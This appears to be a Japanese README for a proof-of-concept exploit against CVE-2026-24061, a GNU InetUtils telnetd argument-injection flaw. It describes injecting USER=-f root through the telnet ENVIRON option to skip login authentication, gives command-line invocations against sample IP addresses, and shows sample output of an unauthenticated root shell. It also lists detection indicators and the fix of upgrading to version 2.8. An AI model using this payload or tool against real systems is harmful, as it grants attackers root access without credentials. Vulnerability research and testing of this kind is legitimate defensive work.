
CVE-2026-24061のPoCエクスプロイト - GNU InetUtils telnetd 引数インジェクションによる認証バイパス
GNU InetUtils バージョン 1.9.3 から 2.7 は、telnetd サーバーにおけるリモート認証回避の脆弱性の影響を受けます。telnetd デーモンは、USER 環境変数を login(1) プログラムにコマンドライン引数として渡す前に適切にサニタイズしません。telnet クライアントが -f root などのコマンドラインフラグを含む USER 環境変数を送信すると、telnetd はこのサニタイズされていない値をそのまま login プログラムに渡します。login ユーティリティは -f フラグを認証を回避する指示として解釈し、攻撃者は資格情報を提供することなく root アクセスを不正に取得できます。
完全なTelnetプロトコル実装
DO、DONT、WILL、WONT のネゴシエーションを処理します。自動ペイロードインジェクション
USER=-f root インジェクションを含む細工された ENVIRON オプションペイロードを構築して送信します。インタラクティブシェル
接続管理
冗長デバッグ
python3 exploit.py <target> -p <port> [options]
| 引数 | 説明 |
|---|---|
target | ターゲットIPアドレスまたはホスト名 |
python3 exploit.py 192.168.1.100
python3 exploit.py 192.168.1.100 -p 2323 -v
python3 exploit.py 10.0.0.5 -p 2323 -k 60 -t 10
接続の確立
プロトコルネゴシエーション
SGA、ECHO、ENVIRON)を処理します。ペイロードの配信
WILL ENVIRON を送信し、続いて細工されたサブネゴシエーションペイロードを送信します。認証の回避
-f root 引数が login(1) に注入され、資格情報チェックを回避します。インタラクティブセッション
このエクスプロイトは、ENVIRON Telnetオプション(RFC 1572)を利用して、コマンドライン引数を USER 環境変数に注入します。
telnetd がこのサニタイズされていない値を login -f root に渡すと、loginプログラムは -f を認証回避を強制するフラグとして解釈し、パスワード検証なしでrootアクセスを許可します。
このエクスプロイトスクリプトは以下を実装しています:
WILL、WONT、DO、DONT)NOP コマンド$ python3 exploit.py 127.0.0.1 -p 2323
[!] Coded By: K3ysTr0K3R
[*] Telnet Authentication Bypass
[*] Connecting to 127.0.0.1:2323
[+] Connection established
[+] Exploit payload sent (19 bytes)
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
システム管理者は以下を監視することで攻撃の試みを検出できます:
ENVIRON オプションネゴシエーションを実行するTelnet接続。-f または他のコマンドラインフラグを含む USER 環境変数。GNU InetUtils バージョン 2.8 にアップグレードするか、環境変数を login(1) に渡す前にサニタイズする公式セキュリティパッチを適用してください。
この概念実証は、セキュリティ研究、脆弱性の検証、および許可されたテスト環境のみを目的としています。セキュリティ評価を実行する明示的な許可があるシステムに対してのみ使用してください。
| オプション | 説明 |
|---|
-p, --port | ターゲットポート (デフォルト: 23) |
-v, --verbose | 冗長なデバッグ出力を有効にする |
-t, --timeout | 接続タイムアウト(秒)(デフォルト: 5) |
-k, --keepalive | キープアライブ間隔(秒)(デフォルト: 30) |
-h, --help | ヘルプメッセージを表示する |